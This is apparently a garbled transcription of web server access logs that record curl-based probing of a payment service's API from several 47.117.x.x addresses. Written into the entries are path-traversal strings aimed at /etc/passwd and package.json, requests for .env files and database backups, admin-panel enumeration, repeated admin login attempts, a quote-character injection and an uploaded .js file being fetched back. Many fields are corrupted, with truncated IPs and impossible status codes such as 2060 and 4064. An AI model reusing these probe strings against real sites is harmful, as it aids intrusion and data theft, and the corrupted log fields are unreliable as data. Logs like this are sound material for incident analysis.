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(=.1) BHEEETL - IP47.117.34.80 (124 %)

47.117.34. [09/Nov/2026:12:20: +0800] "POST /api/pay/user/feedback HTTP/2.0" 200 76 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:20: +0800] "GET /api/pay/user/feedbacks HTTP/2.0" 200 618 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:20: +0800] "GET /api/pay/admin/chats?status=active HTTP/2.0" 401 28 "-" "curl/
8.20.0"

47.117.34. [09/Nov/2026:12:20: +0800] "POST /api/pay/callback/create HTTP/2.0" 400 46 "-" "curl/8.20.0"
47.117.34.80 [09/Nov/2026:12:20: +0800] "POST /api/pay/callback/send-code HTTP/2.0" 500 58 "-" "curl/8.20.0"
47.117.34.80 [09/Nov/2026:12:20: +0800] "POST /api/pay/callback/create HTTP/2.0" 400 43 "-" "curl/8.20.0"
47.117.34.80 [09/Nov/2026:12:20: +0800] "POST /api/pay/callback/send-code HTTP/2.0" 200 65 "-" "curl/8.20.0"
47.117.34.80 [09/Nov/2026:12:20: +0800] "POST /api/pay/callback/send-code HTTP/2.0" 500 58 "-" "curl/8.20.0"
47.117.34.80 [09/Nov/2026:12:20: +0800] "POST /api/pay/callback/send-code HTTP/2.0" 200 65 "-" "curl/8.20.0"
47.117.34.80 [09/Nov/2026:12:20: +0800] "POST /api/pay/callback/send-code HTTP/2.0" 200 65 "-" "curl/8.20.0"
47.117.34.80 [09/Nov/2026:12:21: +0800] "GET /pay/ HTTP/2.0" 200 24703 "-" "curl/8.20.0"

47.117.34.80 [09/Nov/2026:12:21: +0800] "GET /api/pay/query?out_trade no=1 HTTP/2.0" 404 67 "-" "curl/8.20.0"
47.117.34.80 [09/Nov/2026:12:21: +0800] "GET /api/pay/query?out trade no=20261109 HTTP/2.0" 404 67 "-" "curl/
8.20.0"

47.117.34.80 [09/Nov/2026:12:21: +0800] "GET /api/pay/query?out trade no=TK20261109QJ3IG HTTP/2.0" 404 67 "-"
"curl/8.20.0

47.117.34. [09/Nov/2026:12:21: +0800] "GET /api/pay/query?out trade no=' HTTP/2.0" 404 67 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:21: +0800] "GET /api/pay/config HTTP/2.0" 200 66 "-" "curl/8.20.0"

47.117.34. [09/Nov/2026:12:21: +0800] "POST /api/pay/staff/login HTTP/2.0" 401 43 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:21: +0800] "POST /api/pay/staff/login HTTP/2.0" 400 1044 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:21: +0800] "POST /api/pay/staff/login HTTP/2.0" 401 43 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:21: +0800] "GET /.env HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.34. [09/Nov/2026:12:21: +0800] "GET /package.json HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.34. [09/Nov/2026:12:21: +0800] "GET /server.js HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.34. [09/Nov/2026:12:21: +0800] "GET /app.js HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.34. [09/Nov/2026:12:21: +0800] "GET /uploads/chat/ HTTP/2.0" 404 152 "-" "curl/8.20.0"

47.117.34. [09/Nov/2026:12:21: +0800] "GET /uploads/chat/%2E%2E%2F%2E%2E%2Fpackage.json HTTP/2.0" 404 162 "-"
"curl/8.20.0

47.117.34. [09/Nov/2026:12:21: +0800] "GET /uploads/chat/..%2F..%2Fpackage.json HTTP/2.0" 404 162 "-" "curl/
8.20.0"

47.117.34. [09/Nov/2026:12:21: +0800] "GET /.env HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.34. [09/Nov/2026:12:21: +0800] "GET /package.json HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.34. [09/Nov/2026:12:21: +0800] "GET /etc/passwd HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.34. - - [09/Nov/2026:12:21: +0800] "-" 400 166 "-" "-"

47.117.34. - - [09/Nov/2026:12:21: +0800] "GET /uploads/chat/%252e%252e%2521%252e%252e%252fetc%252fpasswd HTTP/2.0"
404 196 "-" "curl/8.20.0"

47.117.34.80 - - [09/Nov/2026:12:21: +0800] "GET /uploads/chat/....//....//....//etc/passwd HTTP/2.0" 404 177 "-"
"curl/8.20.0

47.117.34.80 [09/Nov/2026:12:22: +0800] "GET /etc/passwd HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.34. [09/Nov/2026:12:22: +0800] "GET /latest.yml HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.34. [09/Nov/2026:12:22: +0800] "GET /update.json HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.34. [09/Nov/2026:12:22: +0800] "GET /api/pay/version HTTP/2.0" 404 154 "-" "curl/8.20.0"

47.117.34. [09/Nov/2026:12:22: +0800] "GET /api/pay/app/version HTTP/2.0" 404 158 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:22: +0800] "GET /api/pay/update/check HTTP/2.0" 404 159 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:22: +0800] "GET /desktop HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.34. [09/Nov/2026:12:22: +0800] "GET /download HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.34. [09/Nov/2026:12:32: +0800] "GET /api/pay/admin/sms/records HTTP/2.0" 461 31 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:32: +0800] "POST /api/pay/admin/sms/records HTTP/2.0" 404 165 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:32: +0800] "GET /api/pay/admin/contacts HTTP/2.0" 401 28 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:32: +0800] "POST /api/pay/admin/contacts HTTP/2.0" 404 162 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:32: +0800] "POST /api/pay/chat/call/start HTTP/2.0" 200 53 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:32: +0800] "GET /api/pay/chat/call/signals?call id=CALL17941987609535B53&after=0
HTTP/2. "-" "curl/8.20.0"

47.117.34. [09/Nov/2026:12:33: +0800] "GET /api/pay/chat/call/signals?call id=CALL17941987609535B53&after=0
HTTP/2. "-" "curl/8.20.0"

47.117.34. [09/Nov/2026:12:33: +0800] "POST /api/pay/chat/call/end HTTP/2.0" 404 161 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:33: +0800] "GET /api/pay/user/captcha HTTP/2.0" 200 5528 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:33: +0800] "POST /api/pay/user/send-code HTTP/2.0" 200 102 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:33: +0800] "POST /api/pay/callback/create HTTP/2.0" 400 46 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:33: +0800] "POST /api/pay/chat/send HTTP/2.0" 400 993 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:33: +0800] "POST /api/pay/chat/send HTTP/2.0" 460 31 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:33: +0800] "GET /api/pay/query?out trade no[]=1 HTTP/2.0" 460 37 "-" "curl/8
47.117.34. [09/Nov/2026:12:33: +08600] "-" 400 166 "-" "-"
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2.0" "-" "curl/8.20.0"

47.117.40.186 - - [09/Nov/2026:12:34: +0800] "GET /api/pay/user/orders HTTP/2.0" 200 29 "-" "curl/8.20.0"
47.117.40.186 - [09/Nov/2026:12:34: +0800] "POST /api/pay/chat/send HTTP/2.0" 200 231 "-" "curl/8.20.0"
47.117.40.186 - [09/Nov/2026:12:35: +0800] "GET /api/pay/chat/messages?session 1d=0410a98a6619fcbb98e28fba HTTP/
2.0" 200 4618 "-" "curl/8.20.0

47.117.40.186 - [09/Nov/2026:12:35: +0800] "GET /api/pay/user/orders HTTP/2.0" 2060 29 "-" "curl/8.20.0"
47.117.40.186 - [09/Nov/2026:12:35: +0800] "GET /api/pay/user/orders HTTP/2.0" 200 29 "-" "curl/8.20.0"
47.117.40.186 - [09/Nov/2026:12:36: +0800] "POST /api/pay/callback/create HTTP/2.0" 460 53 "-" "curl/8.20.0"
47.117.40.186 - [09/Nov/2026:12:36: +0800] "POST /api/pay/callback/create HTTP/2.0" 400 53 "-" "curl/8.20.0"
47.117.40.186 [09/Nov/2026:12:36: +0800] "POST /api/pay/callback/create HTTP/2.0" 460 53 "-" "curl/8.20.0"
47.117.40.186 [09/Nov/2026:12:36: +0800] "POST /api/pay/callback/create HTTP/2.0" 400 43 "-" "curl/8.20.0"
47.117.40. [09/Nov/2026:12:36: +0800] "POST /api/pay/callback/create HTTP/2.0" 400 43 "-" "curl/8.20.0"
47.117.40. [09/Nov/2026:12:36: +0800] "POST /api/pay/callback/create HTTP/2.0" 400 43 "curl/8.20.0"
47.117.40. [09/Nov/2026:12:36: +0800] "POST /api/pay/callback/send-code HTTP/2.0" 200 -" "curl/8.20.
47.117.40.186 [09/Nov/2026:12:36: +0800] "POST /api/pay/callback/create HTTP/2.0" 400 46 "curl/8.20.0"
47.117.40.186 [09/Nov/2026:12:36: +0800] "POST /api/pay/callback/create HTTP/2.0" 400 46 "-" "curl/8.20.0"
47.117.40.186 [09/Nov/2026:12:36: +0800] "POST /api/pay/callback/create HTTP/2.0" 400 46 "-" "curl/8.20.0"
47.117.40.186 [09/Nov/2026:12:36: +0800] "POST /api/pay/callback/create HTTP/2.0" 400 46 "-" "curl/8.20.0"
47.117.40.186 [09/Nov/2026:12:37: +0800] "POST /api/pay/chat/upload HTTP/2.0" 200 98 "-" "curl/8.20.0"
47.117.40.186 [09/Nov/2026:12:37: +0800] "HEAD /uploads/chat/1794199026257-a1738bf85d82.js HTTP/2.0" 200 0 "-"
"curl/8.20.0"

47.117.40.186 [09/Nov/2026:12:37: +0800] "GET /uploads/chat/1794199026257-a1738bf85d82.js HTTP/2.0" 2060 2569 "-"
"curl/8.20.0"

47.117.40.186 [09/Nov/2026:12:37: +0800] "POST /api/pay/user/feedback HTTP/2.0" 200 76 "-" "curl/8.20.0"
47.117.40.186 [09/Nov/2026:12:37: +0800] "POST /api/pay/user/feedback HTTP/2.0" 200 76 "-" "curl/8.20.0"
47.117.34.252 [09/Nov/2026:12:37: +0800] "POST /api/pay/user/login HTTP/2.0" 401 43 "-" "curl/8.20.0"
47.117.34.252 [09/Nov/2026:12:37: +0800] "POST /api/pay/staff/login HTTP/2.0" 401 43 "-" "curl/8.20.0"
47.117.34.252 [09/Nov/2026:12:38: +0800] "POST /api/pay/user/login HTTP/2.0" 401 43 "-" "curl/8.20.0"
47.117.34.252 [09/Nov/2026:12:38: +0800] "POST /api/pay/staff/login HTTP/2.0" 401 43 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:38: +0800] "GET /api/pay/desktop HTTP/2.0" 404 154 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:38: +0800] "GET /api/pay/app HTTP/2.0" 404 150 "-" "curl/8.20.0"

47.117.34. [09/Nov/2026:12:38: +0800] "GET /api/pay/client HTTP/2.0" 404 153 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:38: +0800] "GET /api/pay/electron HTTP/2.0" 404 155 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:38: +0800] "POST /api/pay/user/login HTTP/2.0" 401 43 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:38: +0800] "GET /api/pay/update HTTP/2.0" 404 153 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:38: +0800] "POST /api/pay/staff/login HTTP/2.0" 401 43 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:38: +0800] "GET /api/pay/version/latest HTTP/2.0" 404 161 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:38: +0800] "GET /api/pay/admin/token HTTP/2.0" 404 158 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:38: +0800] "GET /api/pay/desktop/config HTTP/2.0" 404 161 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:38: +0800] "GET /api/pay/app/config HTTP/2.0" 404 157 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:38: +0800] "POST /api/pay/chat/send HTTP/2.0" 200 370 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:39: +0800] "PUT /api/pay/user/info HTTP/2.0" 200 346 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:39: +0800] "GET /api/pay/user/info HTTP/2.0" 200 346 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:39: +0800] "POST /api/pay/user/feedback HTTP/2.0" 200 76 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:39: +0800] "POST /api/pay/user/login HTTP/2.0" 401 43 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:39: +0800] "POST /api/pay/staff/login HTTP/2.0" 401 43 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:39: +0800] "POST /api/pay/user/login HTTP/2.0" 401 43 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:40: +0800] "POST /api/pay/user/login HTTP/2.0" 401 43 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:40: +0800] "POST /api/pay/staff/login HTTP/2.0" 401 -" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:40: +0800] "GET /api/pay/admin/orders HTTP/2.0" 401 -" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:40: +0800] "GET /api/pay/admin/orders HTTP/2.0" 401 -" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:40: +0800] "GET /api/pay/admin/orders HTTP/2.0" 401 -" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:40: +0800] "GET /api/pay/admin/orders HTTP/2.0" 401 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:40: +0800] "GET /api/pay/admin/orders HTTP/2.0" 401 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:40: +0800] "GET /api/pay/admin/orders HTTP/2.0" 401 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:40: +0800] "GET /api/pay/admin/orders HTTP/2.0" 401 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:40: +0800] "GET /api/pay/admin/orders HTTP/2.0" 401 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:40: +0800] "POST /api/pay/admin/login HTTP/2.0" 401 31 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:40: +0800] "POST /api/pay/admin/auth HTTP/2.0" 404 158 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:40: +0800] "POST /api/pay/admin/session HTTP/2.0" 404 161 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:40: +0800] "POST /api/pay/admin/token/login HTTP/2.0" 404 165 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:40: +0800] "POST /api/pay/admin/login HTTP/2.0" 401 31 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:40: +0800] "POST /api/pay/admin/login HTTP/2.0" 401 31 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:40: +0800] "POST /api/pay/admin/login HTTP/2.0" 401 31 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:40: +0800] "POST /api/pay/admin/login HTTP/2.0" 401 31 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:40: +0800] "POST /api/pay/admin/login HTTP/2.0" 401 31 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:40: +0800] "POST /api/pay/admin/login HTTP/2.0" 401 31 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:40: +0800] "POST /api/pay/admin/login HTTP/2.0" 31 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:40: +0800] "POST /api/pay/admin/login HTTP/2.0" 31 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:40: +0800] "POST /api/pay/admin/login HTTP/2.0" 401 31 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:40: +0800] "POST /api/pay/admin/login HTTP/2.6" 401 31 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:40: +0800] "POST /api/pay/admin/login HTTP/2.0" 401 31 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:40: +0800] "POST /api/pay/admin/login HTTP/2.6" 401 31 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:40: +0800] "POST /api/pay/admin/login HTTP/2.0" 401 31 "-" "curl/8.20.0"
47.117.34. [09/Nov/2026:12:46: +0800] "POST /api/pay/user/login HTTP/2.0" 401 43 "-" "curl/8.20.0"
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[09/Nov/2026:13:34: +0800] "POST /api/pay/staff/login HTTP/2.0" 403 162 "-" "curl/8.20.0"
[09/Nov/2026:13:34: +0800] "POST /api/pay/user/login HTTP/2.0" 403 162 "-" "curl/8.20.0"
[09/Nov/2026:13:34: +0800] "POST /api/pay/staff/login HTTP/2.0" 403 162 "-" "curl/8.20.0"
[09/Nov/2026:13:35: +0800] "POST /api/pay/user/login HTTP/2.0" 403 162 "-" "curl/8.20.0"
[09/Nov/2026:13:35: +0800] "POST /api/pay/staff/login HTTP/2.0" 403 162 "-" "curl/8.20.0"
[09/Nov/2026:13:36: +0800] "POST /api/pay/user/login HTTP/2.0" 403 162 "-" "curl/8.20.0"
[09/Nov/2026:13:36: +0800] "POST /api/pay/staff/login HTTP/2.0" 403 162 "-" "curl/8.20.0"
[09/Nov/2026:13:36: +0800] "POST /api/pay/user/login HTTP/2.0" 403 162 "-" "curl/8.20.0"
[09/Nov/2026:13:36: +0800] "POST /api/pay/staff/login HTTP/2.0" 403 162 "-" "curl/8.20.0"

47.117.36. [09/Nov/2026:12:22: +0800] "GET /api/pay/user/feedbacks HTTP/2.0" 200 618 "-" "curl/8.20.0
47.117.36. [09/Nov/2026:12:22: +0800] "POST /api/pay/chat/start HTTP/2.0" 200 59 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:22: +0800] "POST /api/pay/chat/send HTTP/2.0" 200 273 "-" "curl/8.20.0"
47.117.36. - - [09/Nov/2026:12:22: +0800] "GET /api/pay/chat/messages?session 1d=0410a98a6619fcbb98e28fba HTTP/2.0"
200 765 "-" "curl/8.20.0"

47.117.36. - - [09/Nov/2026:12:22: +0800] "GET /api/pay/chat/messages?session 1d=0410a98a6619fcbb98e28fba HTTP/2.0"
200 1111 "-" "curl/8.20.0"

47.117.36. - - [09/Nov/2026:12:23: +0800] "GET /api/pay/user/captcha HTTP/2.0" 200 5516 "-" "curl/8.20.0"
47.117.36. - - [09/Nov/2026:12:23: +0800] "POST /api/pay/user/send-code HTTP/2.0" 200 65 "-" "curl/8.20.0
47.117.36. - - [09/Nov/2026:12:23: +0800] "GET /api/pay/user/captcha HTTP/2.0" 200 5504 "-" "curl/8.20.0"
47.117.36. - - [09/Nov/2026:12:23: +0800] "POST /api/pay/user/send-code HTTP/2.0" 200 102 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:23: +0800] "GET /api/pay/user/captcha HTTP/2.0" 200 5556 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:23: +0800] "POST /api/pay/user/send-code HTTP/2.0" 400 46 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:23: +0800] "GET /api/pay/user/captcha HTTP/2.0" 200 5528 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:23: +0800] "POST /api/pay/user/send-code HTTP/2.0" 200 102 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:23: +0800] "POST /api/pay/user/login-code HTTP/2.0" 200 170 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:23: +0800] "GET /api/pay/admin/orders HTTP/2.0" 401 28 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:23: +0800] "GET /api/pay/admin/orders HTTP/2.0" 401 28 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:23: +0800] "GET /api/pay/admin/orders HTTP/2.0" 401 28 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:23: +0800] "GET /api/pay/admin/orders HTTP/2.0" 401 28 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:23: +0800] "GET /api/pay/admin/orders HTTP/2.0" 401 28 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:23: +0800] "GET /api/pay/admin/orders HTTP/2.0" 401 28 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:23: +0800] "GET /api/pay/admin/orders HTTP/2.0" 401 28 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:23: +0800] "GET /api/pay/admin/orders HTTP/2.0" 401 -" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:23: +0800] "GET /api/pay/staff/info HTTP/2.0" 401 31 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:23: +0800] "GET /api/pay/staff/info HTTP/2.0" 401 52 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:23: +0800] "GET /api/pay/staff/info HTTP/2.0" 401 31 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:23: +0800] "GET /api/pay/staff/info HTTP/2.0" 401 31 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:23: +0800] "GET /api/pay/staff/info HTTP/2.0" 401 31 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:23: +0800] "GET /api/pay/staff/info HTTP/2.0" 401 31 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:23: +0800] "GET /api/pay/staff/info HTTP/2.0" 401 31 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:23: +0800] "POST /api/pay/staff/forgot HTTP/2.0" 404 160 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:23: +0800] "POST /api/pay/staff/forgot-password HTTP/2.0" 404 169 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:23: +0800] "POST /api/pay/staff/reset-password HTTP/2.0" 404 168 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:23: +0800] "POST /api/pay/staff/reset HTTP/2.0" 404 159 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:23: +0800] "POST /api/pay/staff/register HTTP/2.0" 404 162 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:23: +0800] "POST /api/pay/staff/logout HTTP/2.0" 401 31 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:23: +0800] "POST /api/pay/staff/list HTTP/2.0" 404 158 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:23: +0800] "POST /api/pay/staff/check HTTP/2.0" 404 159 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:23: +0800] "POST /api/pay/staff/verify-code HTTP/2.0" 4064 165 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:23: +0800] "POST /api/pay/staff/send-email-code HTTP/2.0" 404 169 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:24: +0800] "POST /api/pay/chat/upload HTTP/2.0" 200 97 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:24: +0800] "GET /uploads/probe lyx 001.svg HTTP/2.0" 404 164 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:24: +0800] "POST /api/pay/chat/upload HTTP/2.0" 200 96 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:24: +0800] "POST /api/pay/chat/upload HTTP/2.6" 200 97 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:24: +0800] "POST /api/pay/chat/upload HTTP/2.0" 200 98 "curl/8.20.0"
47.117.36. [09/Nov/2026:12:24: +0800] "POST /api/pay/chat/upload HTTP/2.0" 460 49 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:24: +0800] "GET /index.php HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.36. [09/Nov/2026:12:24: +0800] "GET /api/pay/user/feedbacks HTTP/2.0" 200 879 "-" "curl/8.20.
47.117.36. [09/Nov/2026:12:25: +0800] "POST /api/pay/chat/start HTTP/2.0" 200 59 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:25: +0800] "POST /api/pay/chat/start HTTP/2.0" 200 59 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:25: +0800] "POST /api/pay/chat/start HTTP/2.0" 200 59 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:25: +0800] "POST /api/pay/staff/login HTTP/2.0" 401 43 "-" "curl/8.20.0
47.117.36. [09/Nov/2026:12:25: +0800] "POST /api/pay/user/login HTTP/2.0" 401 43 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:25: +0800] "POST /api/pay/user/login HTTP/2.0" 401 43 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:25: +0800] "POST /api/pay/user/login HTTP/2.0" 401 43 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:25: +0800] "POST /api/pay/user/login HTTP/2.0" 401 43 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:25: +0800] "POST /api/pay/user/login HTTP/2.0" 401 43 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:25: +0800] "POST /api/pay/user/login HTTP/2.0" 401 43 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:25: +0800] "POST /api/pay/user/login HTTP/2.0" 401 43 "-" "curl/8.20.0"
47.117.36. [09/Nov/2026:12:25: +0800] "GET /api/pay/user/info HTTP/2.0" 200 213 "-" "curl/8.20.0"
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47.117.36.48 [09/Nov/2026:12:25: +0800] "GET /dashboard.html HTTP/2.0" 404 162 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:25: +0800] "GET /panel.html HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.36.48 [09/Nov/2026:12:25: +0800] "GET /system.html HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.36.48 [09/Nov/2026:12:25: +0800] "GET /console.html HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.36.48 [09/Nov/2026:12:25: +0800] "GET /backend.html HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.36.48 [09/Nov/2026:12:25: +0800] "GET /houtai HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.36.48 [09/Nov/2026:12:25: +0800] "GET /gly HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.36.48 [09/Nov/2026:12:25: +0800] "GET /admin.php HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.36.48 [09/Nov/2026:12:25: +0800] "GET /login HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.36.48 [09/Nov/2026:12:25: +0800] "GET /admin/login.html HTTP/2.0" 404 162 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:25: +0800] "GET /api/admin/login HTTP/2.0" 404 158 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:25: +0800] "GET /api/login HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.36.48 [09/Nov/2026:12:25: +0800] "GET /api/auth/login HTTP/2.0" 404 162 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:26: +0800] "GET /api/pay/login HTTP/2.0" 4064 152 "-" "curl/8.20.0"

47.117.36.48 [09/Nov/2026:12:26: +0800] "GET /api/admin/auth/login HTTP/2.0" 404 163 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:26: +0800] "GET /backup.zip HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.36.48 [09/Nov/2026:12:26: +0800] "GET /www.zip HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.36.48 [09/Nov/2026:12:26: +0800] "GET /web.zip HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.36.48 [09/Nov/2026:12:26: +0800] "GET /db.sql HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.36.48 [09/Nov/2026:12:26: +0800] "GET /backup.sql HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.36.48 [09/Nov/2026:12:26: +0800] "GET /lingyuanxu.zip HTTP/2.0" 404 162 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:26: +0800] "GET /api/pay/backup.zip HTTP/2.0" 404 157 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:26: +0800] "GET /.well-known/security.txt HTTP/2.0" 404 162 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:26: +0800] "GET /sitemap.xml.gz HTTP/2.0" 404 162 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:26: +0800] "GET /api/pay/public/complaint/TK20261109QJ3IG HTTP/2.0" 200 599 "-"
"curl/8.20.0

47.117.36.48 [09/Nov/2026:12:26: +0800] "GET /api/pay/public/complaint/TK20261109IXVOT HTTP/2.0" 200 270 "-"
"curl/8.20.0

47.117.36.48 [09/Nov/2026:12:26: +0800] "POST /api/pay/user/orders HTTP/2.0" 404 159 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:26: +0800] "POST /api/pay/order/create HTTP/2.0" 404 160 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:26: +0800] "POST /api/pay/orders HTTP/2.0" 404 154 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:26: +0800] "POST /api/pay/user/order HTTP/2.0" 404 158 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:26: +0800] "POST /api/pay/create HTTP/2.0" 404 154 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:26: +0800] "POST /api/pay/pay HTTP/2.0" 404 67 "-" "curl/8.20.0"

47.117.36.48 [09/Nov/2026:12:26: +0800] "POST /api/pay/admin/staff HTTP/2.0" 401 31 "-" "curl/8.20.0"
